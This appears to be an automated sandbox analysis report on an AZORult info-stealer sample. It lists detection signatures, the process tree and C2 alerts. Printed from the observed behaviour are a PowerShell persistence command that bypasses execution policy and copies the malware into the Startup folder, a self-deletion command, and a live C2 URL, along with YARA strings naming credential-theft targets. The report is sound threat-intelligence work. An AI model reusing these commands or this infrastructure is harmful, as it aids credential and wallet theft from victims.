Edit tour

Windows Analysis Report
962Zrwh5bU.exe

Overview

General Information

Sample name:	962Zrwh5bU.exe renamed because original name is a hash value
Original sample name:	cb6d55ec949fd1539f519fe227ae3e9968220b7691420d78d225236618f39f0a.exe
Analysis ID:	1588896
MD5:	ea1f54c1ad44f908fa59eadf9e5c6d29
SHA1:	02d073385383fad5256e2bd3c31e4ce10f949f64
SHA256:	cb6d55ec949fd1539f519fe227ae3e9968220b7691420d78d225236618f39f0a
Tags:	AZORultexeuser-adrian__luca
Infos:

Detection

Azorult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Copy file to startup via Powershell

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Azorult

Yara detected Azorult Info Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Drops PE files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Powershell drops PE file

Self deletion via cmd or bat file

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

962Zrwh5bU.exe (PID: 2848 cmdline: "C:\Users\user\Desktop\962Zrwh5bU.exe" MD5: EA1F54C1AD44F908FA59EADF9E5C6D29)

powershell.exe (PID: 2944 cmdline: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

962Zrwh5bU.exe (PID: 5256 cmdline: "C:\Users\user\Desktop\962Zrwh5bU.exe" MD5: EA1F54C1AD44F908FA59EADF9E5C6D29)

cmd.exe (PID: 3856 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4724 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

svchost.exe (PID: 1560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

pdfviewer.exe (PID: 5892 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe" MD5: EA1F54C1AD44F908FA59EADF9E5C6D29)

powershell.exe (PID: 6188 cmdline: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

pdfviewer.exe (PID: 3228 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe" MD5: EA1F54C1AD44F908FA59EADF9E5C6D29)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://any.run/cybersecurity-blog/azorult-malware-analysis/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Malware Configuration

Threatname: Azorult

{"C2 url": "http://ls14.icu/HK341/index.php"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x1058:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x16b8:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x2da0:$v2: http://ip-api.com/json 0x1a12:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000002.2160278016.00000000027D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000009.00000002.3301829133.0000000004E20000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x46585:$x1: In$J$ct0r
00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x9e60:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0x191b8:$a2: %APPDATA%\.purple\accounts.xml 0x19900:$a3: %TEMP%\curbuf.dat 0x9be4:$a4: PasswordsList.txt 0x4be8:$a5: Software\Valve\Steam
00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x8028:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x8688:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x9d70:$v2: http://ip-api.com/json 0x89e2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x1a450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xd778:$a2: %APPDATA%\.purple\accounts.xml 0xdec0:$a3: %TEMP%\curbuf.dat 0x1a1d4:$a4: PasswordsList.txt 0x151d8:$a5: Software\Valve\Steam
00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Azorult_1	Azorult Payload	kevoreilly	0x18878:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x12cac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x18618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1a360:$v2: http://ip-api.com/json 0x18fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 962Zrwh5bU.exe PID: 2848	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: 962Zrwh5bU.exe PID: 2848	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 962Zrwh5bU.exe PID: 5256	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: 962Zrwh5bU.exe PID: 5256	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: 962Zrwh5bU.exe PID: 5256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pdfviewer.exe PID: 5892	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: pdfviewer.exe PID: 5892	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: pdfviewer.exe PID: 5892	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.962Zrwh5bU.exe.3703b70.2.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x44785:$x1: In$J$ct0r
9.2.pdfviewer.exe.4e20000.3.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x44785:$x1: In$J$ct0r
9.2.pdfviewer.exe.4e20000.3.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x46585:$x1: In$J$ct0r
4.2.962Zrwh5bU.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
4.2.962Zrwh5bU.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
4.2.962Zrwh5bU.exe.400000.0.unpack	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
4.2.962Zrwh5bU.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
4.2.962Zrwh5bU.exe.400000.0.unpack	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
4.2.962Zrwh5bU.exe.400000.0.raw.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
4.2.962Zrwh5bU.exe.400000.0.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
4.2.962Zrwh5bU.exe.400000.0.raw.unpack	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x1a450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xd778:$a2: %APPDATA%\.purple\accounts.xml 0xdec0:$a3: %TEMP%\curbuf.dat 0x1a1d4:$a4: PasswordsList.txt 0x151d8:$a5: Software\Valve\Steam
4.2.962Zrwh5bU.exe.400000.0.raw.unpack	Azorult_1	Azorult Payload	kevoreilly	0x18878:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x12cac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
4.2.962Zrwh5bU.exe.400000.0.raw.unpack	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x18618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1a360:$v2: http://ip-api.com/json 0x18fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
9.2.pdfviewer.exe.28632b0.0.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa48e4:$x1: In$J$ct0r 0xa566c:$a1: WriteProcessMemory 0xa56f8:$a1: WriteProcessMemory 0xa57cc:$a4: VirtualAllocEx 0xa59f0:$a4: VirtualAllocEx 0xa5a70:$a4: VirtualAllocEx
0.2.962Zrwh5bU.exe.28653dc.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa20a4:$x1: In$J$ct0r 0xa2dc4:$a1: WriteProcessMemory 0xa2e50:$a1: WriteProcessMemory 0xa2f24:$a4: VirtualAllocEx 0xa3148:$a4: VirtualAllocEx 0xa31c8:$a4: VirtualAllocEx
4.2.962Zrwh5bU.exe.3f15f8a.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.962Zrwh5bU.exe.3f15f8a.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x29511e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x299269:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
9.2.pdfviewer.exe.2865af0.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa20a4:$x1: In$J$ct0r 0xa2e2c:$a1: WriteProcessMemory 0xa2eb8:$a1: WriteProcessMemory 0xa2f8c:$a4: VirtualAllocEx 0xa31b0:$a4: VirtualAllocEx 0xa3230:$a4: VirtualAllocEx
0.2.962Zrwh5bU.exe.2862b9c.0.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa48e4:$x1: In$J$ct0r 0xa5604:$a1: WriteProcessMemory 0xa5690:$a1: WriteProcessMemory 0xa5764:$a4: VirtualAllocEx 0xa5988:$a4: VirtualAllocEx 0xa5a08:$a4: VirtualAllocEx
4.2.962Zrwh5bU.exe.3e8884c.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.962Zrwh5bU.exe.3e8884c.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x32285c:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3269a7:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
4.2.962Zrwh5bU.exe.3eaa839.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.962Zrwh5bU.exe.3eaa839.6.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x30086f:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3049ba:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\962Zrwh5bU.exe", ParentImage: C:\Users\user\Desktop\962Zrwh5bU.exe, ParentProcessId: 2848, ParentProcessName: 962Zrwh5bU.exe, ProcessCommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', ProcessId: 2944, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2944, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2944, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\962Zrwh5bU.exe", ParentImage: C:\Users\user\Desktop\962Zrwh5bU.exe, ParentProcessId: 2848, ParentProcessName: 962Zrwh5bU.exe, ProcessCommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', ProcessId: 2944, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1560, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Copy file to startup via Powershell

Source: Process started

Author: Joe Security: Data: Command: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\962Zrwh5bU.exe", ParentImage: C:\Users\user\Desktop\962Zrwh5bU.exe, ParentProcessId: 2848, ParentProcessName: 962Zrwh5bU.exe, ProcessCommandLine: "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe', ProcessId: 2944, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:56.711064+0100	2029137	1	Malware Command and Control Activity Detected	104.21.75.48	80	192.168.2.5	49704	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:56.469125+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49704	104.21.75.48	80	TCP
2025-01-11T06:51:04.655046+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49710	104.21.75.48	80	TCP
2025-01-11T06:51:09.654131+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49711	104.21.75.48	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:50:56.469125+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49704	104.21.75.48	80	TCP
2025-01-11T06:51:09.654131+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49711	104.21.75.48	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://ls14.icu/HK341/index.php

Avira URL Cloud: Label: malware

Found malware configuration

Source: 4.2.962Zrwh5bU.exe.400000.0.unpack

Malware Configuration Extractor: Azorult {"C2 url": "http://ls14.icu/HK341/index.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: 962Zrwh5bU.exe	Virustotal: Detection: 58%			Perma Link
Source: 962Zrwh5bU.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_004094C4 CryptUnprotectData,LocalFree,

4_2_004094C4

Source: 962Zrwh5bU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 962Zrwh5bU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: 962Zrwh5bU.exe, 00000000.00000002.3282362718.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3302590903.0000000004E70000.00000004.08000000.00040000.00000000.sdmp, pdfviewer.exe, 00000009.00000002.3282685596.00000000026B1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
